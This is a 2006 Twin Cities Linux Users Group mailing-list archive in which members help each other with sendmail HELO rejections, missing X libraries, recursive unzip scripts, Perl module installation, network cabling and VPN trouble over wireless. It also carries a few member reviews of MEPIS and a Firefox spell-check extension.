>server. > >Any ideas what to look for? > >-- >Raymond Norton >LCTN > > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >tclug-list at mn-linux.org >http://mailman.mn-linux.org/mailman/listinfo/tclug-list "Great Spirits Have Always Encountered Violent Opposition From Mediocre Minds" - Einstein "Cuanta estupidez en tan poco cerebro!" From webmaster at mn-linux.org Wed Mar 15 13:03:43 2006 From: webmaster at mn-linux.org (TCLUG Review) Date: Wed, 15 Mar 2006 13:03:43 -0600 Subject: [tclug-list] New TCLUG Review Message-ID: <200603151903.k2FJ3hg32160@crusader.real-time.com> New TCLUG Review Category: Books Subject: Rebel Code, Moody Rebel Code; Inside Linx and the open source revolution by Glyn Moody 2001. This is a great book about the who, what, when and where of Linux and all the movers and doer who make it possible. Everybody who runs Mr. Torvald's masterpiece needs to read this book! http://www.mn-linux.org/cgi-bin/reviews/index.cgi From admin at lctn.org Wed Mar 15 13:09:03 2006 From: admin at lctn.org (Raymond Norton) Date: Wed, 15 Mar 2006 13:09:03 -0600 (CST) Subject: [tclug-list] Frontier dot net rejecting mail In-Reply-To: <20060315183000223603be38@mail.smumn.edu> References: <20060315183000223603be38@mail.smumn.edu> Message-ID: <55759.64.8.149.194.1142449743.squirrel@lctn.org> > Hello Raymond, > > Can you please be alot more specific, maybe provide IP addresses/ e-mail > addresses. Are all the e-mails rejected coming from the lctn domain? Have > you had your users try to directly contact these people and ask them if > Frontier uses an accept-only list? Please, provide more information? > It is for the bbe.k12.mn.us domain. Here is the returned mesage Reporting-MTA: dns; localhost.localdomain Received-From-MTA: DNS; jaguar1.bbe.priv Arrival-Date: Wed, 15 Mar 2006 13:04:18 -0500 Final-Recipient: RFC822; njbertram at frontiernet.net Action: failed Status: 5.0.0 Remote-MTA: DNS; mx.frontiernet.net Diagnostic-Code: SMTP; 554 : Helo command rejected: You are not me. See http://postmaster.frontiernet.net. See http://postmaster.frontiernet.net Last-Attempt-Date: Wed, 15 Mar 2006 13:04:18 -0500 From florin at iucha.net Wed Mar 15 13:14:58 2006 From: florin at iucha.net (Florin Iucha) Date: Wed, 15 Mar 2006 13:14:58 -0600 Subject: [tclug-list] 'Missing' X libraries In-Reply-To: References: Message-ID: <20060315191457.GF2432@iucha.net> On Wed, Mar 15, 2006 at 12:07:25PM -0600, Yaron wrote: > Any of you running on debian-sid/amd64? Yes. > A few days ago some of my programs decided they can't find certain libraries > anymore. Like when I try to run wmnetload, it won't find libX11.so.6. Now, > libX11.so.6 is in /usr/X11r6/lib which in turn is in /etc/ld.so.conf... > > Some of these programs I can recompile, but some (like vmware) I can't. > > They all seem to be X libraries of some sort. Have you performed any upgrades? What mirror are you using? What do you get for "ldd /usr/bin/xterm"? On my machine, up-to-date: zeus:~# ldd /usr/bin/xterm libXft.so.2 => /usr/lib/libXft.so.2 (0x00002ac5ea24c000) libfreetype.so.6 => /usr/lib/libfreetype.so.6 (0x00002ac5ea360000) libz.so.1 => /usr/lib/libz.so.1 (0x00002ac5ea4db000) libXrender.so.1 => /usr/lib/libXrender.so.1 (0x00002ac5ea5f1000) libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x00002ac5ea6fa000) libfontconfig.so.1 => /usr/lib/libfontconfig.so.1 (0x00002ac5ea8db000) libXaw.so.8 => /usr/X11R6/lib/libXaw.so.8 (0x00002ac5eaa1a000) libXmu.so.6 => /usr/X11R6/lib/libXmu.so.6 (0x00002ac5eab8a000) libXext.so.6 => /usr/X11R6/lib/libXext.so.6 (0x00002ac5eaca4000) libXt.so.6 => /usr/X11R6/lib/libXt.so.6 (0x00002ac5eadb5000) libSM.so.6 => /usr/X11R6/lib/libSM.so.6 (0x00002ac5eaf16000) libICE.so.6 => /usr/X11R6/lib/libICE.so.6 (0x00002ac5eb021000) libncurses.so.5 => /lib/libncurses.so.5 (0x00002ac5eb13c000) libc.so.6 => /lib/libc.so.6 (0x00002ac5eb298000) libdl.so.2 => /lib/libdl.so.2 (0x00002ac5eb4d7000) libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00002ac5eb5da000) libXpm.so.4 => /usr/X11R6/lib/libXpm.so.4 (0x00002ac5eb6fd000) libXp.so.6 => /usr/X11R6/lib/libXp.so.6 (0x00002ac5eb814000) /lib64/ld-linux-x86-64.so.2 (0x0000555555554000) florin -- Don't question authority: they don't know either! -------------- next part -------------- A non-text attachment was scrubbed... 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I don't have xterm installed so I ldd'd xlogo and I /do/ get: libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x00002aaaabaff000) But when I ldd, say, wmnetload: libX11.so.6 => not found I can try and rebuild wmnetload, but I can't do that with vmware... -Yaron -- From florin at iucha.net Wed Mar 15 13:33:41 2006 From: florin at iucha.net (Florin Iucha) Date: Wed, 15 Mar 2006 13:33:41 -0600 Subject: [tclug-list] 'Missing' X libraries In-Reply-To: References: <20060315191457.GF2432@iucha.net> Message-ID: <20060315193341.GG2432@iucha.net> On Wed, Mar 15, 2006 at 01:24:57PM -0600, Yaron wrote: > I don't have xterm installed so I ldd'd xlogo and I /do/ get: > > libX11.so.6 => /usr/X11R6/lib/libX11.so.6 (0x00002aaaabaff000) > > But when I ldd, say, wmnetload: > > libX11.so.6 => not found It might be possible that wmnetload is 32bit? Do a file /path/to/wmnetload and file /usr/bin/X11/xlogo You should get: zeus:~# file /usr/bin/X11/xlogo /usr/bin/X11/xlogo: ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked (uses shared libs), stripped florin -- Don't question authority: they don't know either! -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060315/871932a1/attachment-0001.pgp From webmaster at mn-linux.org Wed Mar 15 13:37:55 2006 From: webmaster at mn-linux.org (TCLUG Review) Date: Wed, 15 Mar 2006 13:37:55 -0600 Subject: [tclug-list] New TCLUG Review Message-ID: <200603151937.k2FJbt800535@crusader.real-time.com> New TCLUG Review Category: Linux Distros Subject: MEPIS Get Yourself a Copy After a year of experimenting, I finally found the best, (for now) distro out there! It's MEPIS 3.4-2, and all I can say is "everything works, so get yourself a copy!" This is a complete replacement for desktop Windows allowing even a newbe like me to finally close the MS windows for good. I even got the wife as a 'user' and she loves it. Here's what we are running: AMD Sempron 2300+ on a Asus A7V8X-X motherboard, 512 Mb RAM, CD R-W, Floppy, 40 GB hard drive, and 6 USB 2.0 ports. My printer is an Epson 777. I'm stuck with dial-up (rural ND) and use an Actiontec 56K external modem to connect to the net. MEMPIS comes with some really great software. We especially like DigiKam (for photos) and the GIMP (for graphics). The Thunderbird mail client and of course Firefox (deer Park), make mail handling and surfing the net a real pleasure. The K3B (CD & DVD burning software)program is a real gem and of course you can't get much better than the Open Office Suite for all those commercial duties. Kaffeine (the media player) works just great. Now I did download two programs that I expecially wanted, but were not included on the install CD. The first was Audacity, a sound editor (I'm trying podcasts on blogcity) and GNUCash, a home/business finance package. Both of these programs work great and installed flawlessly. MEPIS uses the Synaptic Package Manager to install and remove software; it's easy, fast and...you get it...it works! MEPIS is a really easy distro to install. If you can tie your shoe, you can install MEPIS. I got my first copy (3.3) from www.bigcat-iso.com for about two bucks, but when I heard that 3.4-2 was out, I had to have it. So I plunked down $15 and got the CD direct from www.MEPIS.org. Try this one, you'll like it! http://www.mn-linux.org/cgi-bin/reviews/index.cgi From admin at lctn.org Wed Mar 15 13:45:27 2006 From: admin at lctn.org (Raymond Norton) Date: Wed, 15 Mar 2006 13:45:27 -0600 (CST) Subject: [tclug-list] Frontier dot net rejecting mail In-Reply-To: References: <20060315183000223603be38@mail.smumn.edu> <55759.64.8.149.194.1142449743.squirrel@lctn.org> Message-ID: <45001.64.8.149.194.1142451927.squirrel@lctn.org> > Look for this in your sendmail.cf: > > # my official domain name > # ... define this only if sendmail cannot automatically determine your > domain > #Dj$w.Foo.COM > > So you'd add a line that says: > > Djmailserver.bbe.k12.mn.us > > (substitute mailserver with whatever the machine name/DNS name really is). > > Then restart sendmail. That is what I thought, but did not know about the "Dj" statement. Looks like it worked. Thanks From tclug at freakzilla.com Wed Mar 15 13:55:16 2006 From: tclug at freakzilla.com (Yaron) Date: Wed, 15 Mar 2006 13:55:16 -0600 (CST) Subject: [tclug-list] 'Missing' X libraries In-Reply-To: <20060315193341.GG2432@iucha.net> References: <20060315191457.GF2432@iucha.net> <20060315193341.GG2432@iucha.net> Message-ID: On Wed, 15 Mar 2006, Florin Iucha wrote: > It might be possible that wmnetload is 32bit? Possibly, and VMWare /definitely/ is. Doesn't change the fact that up until a week or two ago they both worked perfectly (: I didn't remove any 32-bit libs from my system... so what happened to them? -Yaron -- From gsker at comcast.net Wed Mar 15 16:30:42 2006 From: gsker at comcast.net (gsker at comcast.net) Date: Wed, 15 Mar 2006 16:30:42 -0600 (CST) Subject: [tclug-list] Extracting multiple tar files In-Reply-To: References: <20060226144603.GA9845@www.ewilts.org> <1142355688.4416f6e8c4275@my.visi.com> <20060314210514.GB27602@www.ewilts.org> <20060315003427.GB26528@sherohman.org> <20060315004133.GD26528@sherohman.org> Message-ID: All that work! One more time on the Z-Shell bandwagon... #!/bin/zsh mkdir /tmp/newstuff cd /tmp/oldstuff for a in **/*.zip ### recursive find of all zip files do mkdir -p "/tmp/newstuff/$a:h" ### build other dir structure unzip -d "/tmp/newstuff/$a:h" "$a" ### unzip file into new dir done :h modifies any variable by removing the trailing pathname leaving the head. Quotes preserve the spaces (or other funky characters). Do the same thing with your tar and rar files. Seems easier to me, but to each their own. Gerry -- gsker at comcast.net gerry From kcbnac at gmail.com Wed Mar 15 19:08:09 2006 From: kcbnac at gmail.com (Keith Bachman) Date: Wed, 15 Mar 2006 19:08:09 -0600 Subject: [tclug-list] WANTED: Cat 5e cable In-Reply-To: <20060315180732.2CB281CDA@skuld.wookimus.net> References: <20060315052212.251C91FCE@skuld.wookimus.net> <32fd45370603150821j5dc4942dgba086d7dd703f76b@mail.gmail.com> <47f4d5e70603150954v711b9606t63df28e9d47b9fd6@mail.gmail.com> <20060315180732.2CB281CDA@skuld.wookimus.net> Message-ID: <32fd45370603151708s2ea6a6b5m2b9f82d5f1c9b5b2@mail.gmail.com> Plenum = non-toxic. So, if it's going through an air-return system, among other things, you need Plenum. It's also more heavily shielded, and thus often run in the walls (helps prevent interference from any power lines and anything else it happens to run nearby) I also do recall the Plenum being that cheap, Donovan. I'll try to double check this next time I'm up that way during the day. On 3/15/06, Chad Walstrom wrote: > > > I believe the 1000' spools you're speaking of are actually riser > > cable. Plenum cable is much more expensive, usually in the > > neighborhood of $170-$190 for 1000'. If I missed some special clue > > me in and I'll go stock up though. > > I could be mistaken, but IIRC you only need plenum if the cable is > going to be in an open space, such as in a cable tray above acoustic > tiles. If the cable is going to be in the space between sheet-rocked > or plaster walls or in conduit, you don't need plenum. > > That being said, since Ben put conduit in the rest of the house, I > suppose I should do it The Right Way (TM) and continue the trend. ;-) > There's some left-over conduit from his project, and pipe-benders and > cutters aren't too expensive. > > -- > Chad Walstrom http://www.wookimus.net/ > assert(expired(knowledge)); /* core dump */ > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060315/5bd7914b/attachment.htm From cncole at earthlink.net Wed Mar 15 22:26:00 2006 From: cncole at earthlink.net (Chuck Cole) Date: Wed, 15 Mar 2006 22:26:00 -0600 Subject: [tclug-list] WANTED: Cat 5e cable In-Reply-To: <20060315180732.2CB281CDA@skuld.wookimus.net> Message-ID: > -----Original Message----- > From: tclug-list-bounces at mn-linux.org > [mailto:tclug-list-bounces at mn-linux.org]On Behalf Of Chad Walstrom > Sent: Wednesday, March 15, 2006 12:08 PM > To: tclug-list at mn-linux.org > Subject: Re: [tclug-list] WANTED: Cat 5e cable > > > > I believe the 1000' spools you're speaking of are actually riser > > cable. Plenum cable is much more expensive, usually in the > > neighborhood of $170-$190 for 1000'. If I missed some special clue > > me in and I'll go stock up though. > > I could be mistaken, but IIRC you only need plenum if the cable is > going to be in an open space, such as in a cable tray above acoustic > tiles. If the cable is going to be in the space between sheet-rocked > or plaster walls or in conduit, you don't need plenum. Plenum cable is required when the cable is in a heating/AC duct aka plenum. I think it is also required when in a duct that also has vent pipes for water heaters, etc which might get hot. The plenum type of cable has a "less toxic" smoke from its insulation when it burns so it doesn't spread poison gas through the AC system of the house. Chuck From auditodd at comcast.net Thu Mar 16 07:56:48 2006 From: auditodd at comcast.net (auditodd at comcast.net) Date: Thu, 16 Mar 2006 13:56:48 +0000 Subject: [tclug-list] New TCLUG Review Message-ID: <031620061356.14496.44196EA00006777D000038A022007511500B0B019B070B9A0E@comcast.net> First, I love being on broadband.... I already have the v3.4.3 ISO already sitting on my hard drive ready to burn should I need it. Second, I've found Mepis to be quite the nice distro too. I also like SUSE. I've played with v10.0 and with a few "tweaks" it will play commercial DVDs quite nicely with Kaffine. -- ---- ------ Todd Young -------------- Original message ---------------------- From: TCLUG Review > New TCLUG Review > > Category: Linux Distros > > Subject: MEPIS Get Yourself a Copy > > After a year of experimenting, I finally found the best, (for now) distro out > there! It's MEPIS 3.4-2, and all I can say is "everything works, so get > yourself a copy!" > > This is a complete replacement for desktop Windows allowing even a newbe like > me to finally close the MS windows for good. I even got the wife as a 'user' and > she loves it. > > Here's what we are running: AMD Sempron 2300+ on a Asus A7V8X-X motherboard, 512 > Mb RAM, CD R-W, Floppy, 40 GB hard drive, and 6 USB 2.0 ports. My printer is an > Epson 777. I'm stuck with dial-up (rural ND) and use an Actiontec 56K external > modem to connect to the net. > > MEMPIS comes with some really great software. We especially like DigiKam (for > photos) and the GIMP (for graphics). The Thunderbird mail client and of course > Firefox (deer Park), make mail handling and surfing the net a real pleasure. The > K3B (CD & DVD burning software)program is a real gem and of course you can't get > much better than the Open Office Suite for all those commercial duties. Kaffeine > (the media player) works just great. > > Now I did download two programs that I expecially wanted, but were not included > on the install CD. The first was Audacity, a sound editor (I'm trying podcasts > on blogcity) and GNUCash, a home/business finance package. Both of these > programs work great and installed flawlessly. MEPIS uses the Synaptic Package > Manager to install and remove software; it's easy, fast and...you get it...it > works! > > MEPIS is a really easy distro to install. If you can tie your shoe, you can > install MEPIS. I got my first copy (3.3) from www.bigcat-iso.com for about two > bucks, but when I heard that 3.4-2 was out, I had to have it. So I plunked down > $15 and got the CD direct from www.MEPIS.org. > > Try this one, you'll like it! > > > > > > http://www.mn-linux.org/cgi-bin/reviews/index.cgi > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list From Craig.A.Smith at honeywell.com Thu Mar 16 08:56:58 2006 From: Craig.A.Smith at honeywell.com (Smith, Craig A (MN14)) Date: Thu, 16 Mar 2006 08:56:58 -0600 Subject: [tclug-list] WANTED: Cat 5e cable Message-ID: > The plenum type of cable has a "less toxic" smoke from its insulation Plenum cable uses Teflon insulation, so NO SMOKE IS PRODUCED WHEN BURNED. I've tested this myself with a propane torch (outdoors). The electrical Code may vary between commercial and residential installations, but plenum cable SHOULD be used in all plenums, including wiring trays, not just air-handling ducts. Suppose a cable get energized with 110/240 volts! People do the most unlikely things, so you should consider fire caused by short circuit, not just hot pipes. I think Chad got it right when he said it's not required if sealed behind sheet rock. PS If you don't have to use Teflon, you may not want to: the twisted pairs are "stuck" together making termination with RJ-48 (8-position connectors) difficult. You'll need to use a knife or razor blade to separate the pairs. If you're using punch-down style termination boxes, then there should be no issue. From admin at lctn.org Thu Mar 16 15:06:49 2006 From: admin at lctn.org (Raymond Norton) Date: Thu, 16 Mar 2006 15:06:49 -0600 Subject: [tclug-list] struggling to get past a perl problem Message-ID: <1142543209.6534.329.camel@project-1.tamray.com> I am no pro when it comes to perl problems, but hopefully someone else is. I am trying to install WebGUI using their wre (WebGUI Runtime Environment) At first I was getting the following error: perl Makefile.PL -apxs /data/wre/prereqs/apache/bin/apxs Can't locate ExtUtils/XSBuilder/ParseSource.pm in @INC (@INC contains:, etc.... The folders and files exist on the server, so I copied them over to a folder that was in the @INC path. ( By the way, how the heck do you edit @INC to include folders in its path?) Now I am getting the following error: root at www perl]# perl Makefile.PL -apxs /data/wre/prereqs/apache/bin/apxs Base class package "ExtUtils::XSBuilder::ParseSource" is empty. (Perhaps you need to 'use' the module which defines that package first.) at Makefile.PL line 100 BEGIN failed--compilation aborted at Makefile.PL line 100. Any ideas? Raymond From dalan at visi.com Thu Mar 16 16:43:22 2006 From: dalan at visi.com (Don) Date: Thu, 16 Mar 2006 16:43:22 -0600 Subject: [tclug-list] Sending strings to another app In-Reply-To: <1142543209.6534.329.camel@project-1.tamray.com> Message-ID: Howdy, What I would like to do is to run netscape and have another window attach to it so I can send strings into a web site. Anyone have any ideas how this can be performed? Don Sparish From mbmiller at taxa.epi.umn.edu Thu Mar 16 18:05:11 2006 From: mbmiller at taxa.epi.umn.edu (Mike Miller) Date: Thu, 16 Mar 2006 18:05:11 -0600 (CST) Subject: [tclug-list] Sending strings to another app In-Reply-To: References: Message-ID: On Thu, 16 Mar 2006, Don wrote: > What I would like to do is to run netscape and have another window > attach to it so I can send strings into a web site. > > Anyone have any ideas how this can be performed? What does it mean to send strings into a web site? Are you using Linux? What does it mean to attach a window to netscape? Maybe you can get what you want by calling Netscape from the command line using something like what you see below. The string might go into the URL. That depends on what you are doing. Mike #!/bin/sh # short script to invoke netscape from within pine as a background # process, so pine can continue. Only arg is the URL. # Author: Ed Arnold , but modified by Mike Miller NETSCAPE=/usr/local/bin/netscape URL=`echo $1 | sed 's/,/%2C/g'` if [ -h $HOME/.netscape/lock ]; then $NETSCAPE -noraise -remote openURL\("$URL"\,new_window\) & else $NETSCAPE "$URL" & fi From trammell+tclug at el-swifto.com Thu Mar 16 21:32:57 2006 From: trammell+tclug at el-swifto.com (John J. Trammell) Date: Thu, 16 Mar 2006 21:32:57 -0600 Subject: [tclug-list] struggling to get past a perl problem In-Reply-To: <1142543209.6534.329.camel@project-1.tamray.com> References: <1142543209.6534.329.camel@project-1.tamray.com> Message-ID: <20060317033257.GA26257@mail.el-swifto.com> On Thu, Mar 16, 2006 at 03:06:49PM -0600, Raymond Norton wrote: > The folders and files exist on the server, so I copied them over to a > folder that was in the @INC path. Generally this is not the right thing to do with Perl modules. > ( By the way, how the heck do you edit @INC to include folders in its > path?) One way that is probably most appropriate in this case is to set the value of environment variable PERL5LIB. This is documented in 'perldoc perlrun'. -- trammell at el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota From admin at lctn.org Fri Mar 17 09:33:15 2006 From: admin at lctn.org (Raymond Norton) Date: Fri, 17 Mar 2006 09:33:15 -0600 Subject: [tclug-list] good perl news group Message-ID: <1142609595.22133.39.camel@project-1.tamray.com> Thanks for the perl advice, but I continue to have problems wiht my server. What helpful perl news group would be recommended ? I found Perl Mongers, in Minneapolis but that doesn't seem to be the right group to get the help I need. Raymond From rhavenn at rhavenn.net Fri Mar 17 10:29:55 2006 From: rhavenn at rhavenn.net (Henrik Hudson) Date: Fri, 17 Mar 2006 10:29:55 -0600 Subject: [tclug-list] good perl news group In-Reply-To: <1142609595.22133.39.camel@project-1.tamray.com> References: <1142609595.22133.39.camel@project-1.tamray.com> Message-ID: <200603171029.56042.rhavenn@rhavenn.net> On Friday 17 March 2006 09:33, Raymond Norton sent a missive stating: > Thanks for the perl advice, but I continue to have problems wiht my > server. What helpful perl news group would be recommended ? > > I found Perl Mongers, in Minneapolis but that doesn't seem to be the > right group to get the help I need. > Just joined the list. What's the problem you're having? Henrik -- Henrik Hudson rhavenn at rhavenn.net ------------------------------ "There are 10 kinds of people in the world: Those who understand binary and those who don't..." From jkline at ftwilliam.com Thu Mar 16 15:29:57 2006 From: jkline at ftwilliam.com (Jonathan Kline) Date: Thu, 16 Mar 2006 15:29:57 -0600 Subject: [tclug-list] struggling to get past a perl problem In-Reply-To: <1142543209.6534.329.camel@project-1.tamray.com> References: <1142543209.6534.329.camel@project-1.tamray.com> Message-ID: <200603161529.57648.jkline@ftwilliam.com> On Thursday 16 March 2006 15:06, Raymond Norton wrote: > I am no pro when it comes to perl problems, but hopefully someone else > is. > > I am trying to install WebGUI using their wre (WebGUI Runtime > Environment) At first I was getting the following error: > > perl Makefile.PL -apxs /data/wre/prereqs/apache/bin/apxs > Can't locate ExtUtils/XSBuilder/ParseSource.pm in @INC (@INC contains:, > etc.... > > > The folders and files exist on the server, so I copied them over to a > folder that was in the @INC path. ( By the way, how the heck do you edit > @INC to include folders in its path?) There are likely otherways to do it, but at the top of your scripts do: use lib qw(/usr/local/lib/perl5/site_perl); Where everything inside of the () is space delimited paths to include > > Now I am getting the following error: > > root at www perl]# perl Makefile.PL -apxs /data/wre/prereqs/apache/bin/apxs > Base class package "ExtUtils::XSBuilder::ParseSource" is empty. > (Perhaps you need to 'use' the module which defines that package > first.) > at Makefile.PL line 100 > BEGIN failed--compilation aborted at Makefile.PL line 100. > > Any ideas? > Looks like maybe you don't have the right modules installed, cpan is your friend here... perl -MCPAN -e "install ExtUtils::XSBuilder::ParseSource" If that doesn't work try just installing ExtUtils::XSBuilder" > Raymond > > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Jonathan Kline Software and Systems Engineer Fort William LLC 414.226.2442 From trammell+tclug at el-swifto.com Fri Mar 17 10:58:32 2006 From: trammell+tclug at el-swifto.com (John J. Trammell) Date: Fri, 17 Mar 2006 10:58:32 -0600 Subject: [tclug-list] good perl news group In-Reply-To: <1142609595.22133.39.camel@project-1.tamray.com> References: <1142609595.22133.39.camel@project-1.tamray.com> Message-ID: <20060317165832.GA26316@mail.el-swifto.com> On Fri, Mar 17, 2006 at 09:33:15AM -0600, Raymond Norton wrote: > Thanks for the perl advice, but I continue to have problems wiht my > server. What helpful perl news group would be recommended ? Usenet newgroup "comp.lang.perl.misc" used to be pretty good, but most of the heavy hitters have moved to www.perlmonks.org IMO. The local perl mongers group is pretty active, but I don't know what sort of help you'll get with your install problems. You never know. > I found Perl Mongers, in Minneapolis but that doesn't seem to be the > right group to get the help I need. Can't hurt to ask... -- trammell at el-swifto.com 9EC7 BC6D E688 A184 9F58 FD4C 2C12 CC14 8ABA 36F5 Twin Cities Linux Users Group (TCLUG) Minneapolis/St. Paul, Minnesota From cschumann at twp-llc.com Fri Mar 17 13:06:08 2006 From: cschumann at twp-llc.com (Chris Schumann) Date: Fri, 17 Mar 2006 13:06:08 -0600 (CST) Subject: [tclug-list] Seeking Local Rails Resources In-Reply-To: References: Message-ID: <42876.192.28.2.52.1142622368.squirrel@alpha.twp-llc.com> Are there any local Rails groups, online or off? I'd really like to get to know some local people who are learning Rails. I've started a Rails app, and have begun to realize just how big it is, and just talking through the app with another real programmer who knows rails at least a little might help. Thanks, Chris Schumann From pclinux at charter.net Fri Mar 17 15:40:18 2006 From: pclinux at charter.net (Carl Zeilon) Date: Fri, 17 Mar 2006 15:40:18 -0600 Subject: [tclug-list] OT - VPN over wireless Message-ID: <441B2CC2.3030906@charter.net> First, I'm totally new to VPNs. My wife is set up with a VPN to connect to work from home. If I use a wired connection to my router, everything functions fine. If I use the wireless card, failure. After a bit of Googling I tried connecting through a neighbor's unsecured wireless network. Tada... the VPN works. So, my question is this - Can you only use a VPN when you are connected to an unsecured wireless network? I can't use WPA & VPN at the same time? Is there something else I'm missing? Thank you, Carl From florin at iucha.net Fri Mar 17 16:04:50 2006 From: florin at iucha.net (Florin Iucha) Date: Fri, 17 Mar 2006 16:04:50 -0600 Subject: [tclug-list] OT - VPN over wireless In-Reply-To: <441B2CC2.3030906@charter.net> References: <441B2CC2.3030906@charter.net> Message-ID: <20060317220450.GD26338@iucha.net> On Fri, Mar 17, 2006 at 03:40:18PM -0600, Carl Zeilon wrote: > First, I'm totally new to VPNs. My wife is set up with a VPN to connect > to work from home. If I use a wired connection to my router, everything > functions fine. If I use the wireless card, failure. After a bit of > Googling I tried connecting through a neighbor's unsecured wireless > network. Tada... the VPN works. So, my question is this - Can you only > use a VPN when you are connected to an unsecured wireless network? I > can't use WPA & VPN at the same time? Is there something else I'm missing? Most likely your router is mangling some packets (or does not mangle the NAT packets as it might need to). I remember something about VPN in the configuration pages of my Linksys WRT54G. Google around and dig into the configs. florin -- Don't question authority: they don't know either! -------------- next part -------------- A non-text attachment was scrubbed... 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It's a 60MB download that claims to have Apache/Mysql/ImageMagick/Perl/others all bundled up into one neat package. This is a very unusual way to package/distribute for linux systems. In my opinion, it sounds like a "Bad Thing". Apache & MySql are rather big complex packages that is best to go along with what your distro delivers and not divert from. Installation in source(stable version) is real brief, and refers you to http://www.plainblack.com/installation for the install doc. None is found here. It mentions public list for install support but I couldn't find it. (That would make sense to join/ask install questions on the projects site list...) What was your experience with this "Runtime Environment" install package? If it installs these packages hopefully it isolates them in some private directories(usr/local)? Is that what it did? If not you could have a real mess on your hands, if it mixes it with the base install dirs. I would think that a 2nd copy of Apache/MySql would clash with the distro's copy. What version did you try and install? So a number of red flags, maybe you should forget all about this software. If you must have it I'd recommend trying to install per the short install.txt file. Try to install all prerequisites from your distro, leaving to last resort installing by source/cpan. So try and find RH packages for the numerous perl modules it uses. Note MySQL usually involves some pain trying to initiate a database. Cheers, Karl. On Thu, Mar 16, 2006 at 03:06:49PM -0600, Raymond Norton wrote: > I am no pro when it comes to perl problems, but hopefully someone else > is. > > I am trying to install WebGUI using their wre (WebGUI Runtime > Environment) At first I was getting the following error: > > perl Makefile.PL -apxs /data/wre/prereqs/apache/bin/apxs > Can't locate ExtUtils/XSBuilder/ParseSource.pm in @INC (@INC contains:, > etc.... > > > The folders and files exist on the server, so I copied them over to a > folder that was in the @INC path. ( By the way, how the heck do you edit > @INC to include folders in its path?) > > Now I am getting the following error: > > root at www perl]# perl Makefile.PL -apxs /data/wre/prereqs/apache/bin/apxs > Base class package "ExtUtils::XSBuilder::ParseSource" is empty. > (Perhaps you need to 'use' the module which defines that package > first.) > at Makefile.PL line 100 > BEGIN failed--compilation aborted at Makefile.PL line 100. > > Any ideas? > > Raymond > > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > From josh at joshwelch.com Fri Mar 17 17:33:07 2006 From: josh at joshwelch.com (Josh Welch) Date: Fri, 17 Mar 2006 17:33:07 -0600 Subject: [tclug-list] OT - VPN over wireless In-Reply-To: <441B2CC2.3030906@charter.net> References: <441B2CC2.3030906@charter.net> Message-ID: <20060317173307.o21ellai1o004s04@bullwinkle.joshwelch.com> Quoting Carl Zeilon : > First, I'm totally new to VPNs. My wife is set up with a VPN to connect > to work from home. If I use a wired connection to my router, everything > functions fine. If I use the wireless card, failure. After a bit of > Googling I tried connecting through a neighbor's unsecured wireless > network. Tada... the VPN works. So, my question is this - Can you only > use a VPN when you are connected to an unsecured wireless network? I > can't use WPA & VPN at the same time? Is there something else I'm missing? > > Thank you, > Carl > Your router is likely doing bad things to the IP packets(icky natting), if your wife is using an IPSec VPN (probably is) they can be very picky about anything tinkering with the packets. Look for a VPN Passthrough option in the router config, that will typically help. Josh From webmaster at mn-linux.org Fri Mar 17 19:53:45 2006 From: webmaster at mn-linux.org (TCLUG Review) Date: Fri, 17 Mar 2006 19:53:45 -0600 Subject: [tclug-list] New TCLUG Review Message-ID: <200603180153.k2I1rjn03608@crusader.real-time.com> New TCLUG Review Category: Software Subject: Spellbound for FireFox I'm running MEPIS with FireFox 1.5 as my web browser, and have just started blogging at Blog-City. The problem is that I can't spell worth spit! The fix is a great program/extension for FireFox called 'Spellbound' to be found at spellbound.sourceforge.net Follow the install instruction for the program and the Mozilla libraries; they will both show up on the 'extensions' list after the install, but the selected dictionary won't. It can only be seen in the spell check text window. The program works great, but in order to get the dictionary to install,(you select one from a list a mile long), you must first insure that your user account has write access to the 'application component directory'. I accomplished this by logging in as root and then downloading the appropriate dictionary. The effect was global for all users on my system. If you do not do this, then no dictionary will be indicated in the spell check window even though it reported itself as have been successfully installed. By the way, the spell check icon, (an ABC with a check mark), won't automatically show up on your tool bar in Firefox after you install the program. To get it go to the View- Toolbars-customize list and scroll down the group of icons to find it, then drag it to your toolbar! To spell check content, use the icon, (it will become colored if text is present), or right click when you have you cursor in the text box and select 'check spelling' from the drop down list. The text with will be copied to another window where you can complete the normal spell checking procedures. This is a great little spell checker, and as you can see...it works! http://www.mn-linux.org/cgi-bin/reviews/index.cgi From pclinux at charter.net Fri Mar 17 21:47:09 2006 From: pclinux at charter.net (Carl Zeilon) Date: Fri, 17 Mar 2006 21:47:09 -0600 Subject: [tclug-list] OT - VPN over wireless In-Reply-To: References: Message-ID: <441B82BD.5090109@charter.net> On Friday, March 17, 2006 3:40 PM, Carl Zeilon wrote: > > > >Date: Fri, 17 Mar 2006 15:40:18 -0600 > >From: Carl Zeilon > >To: tclug-list at mn-linux.org > >Subject: [tclug-list] OT - VPN over wireless > > > >First, I'm totally new to VPNs. My wife is set up with a VPN to connect > >to work from home. If I use a wired connection to my router, everything > >functions fine. If I use the wireless card, failure. After a bit of > >Googling I tried connecting through a neighbor's unsecured wireless > >network. Tada... the VPN works. So, my question is this - Can you only > >use a VPN when you are connected to an unsecured wireless network? I > >can't use WPA & VPN at the same time? Is there something else I'm missing? > > > >Thank you, > >Carl > > 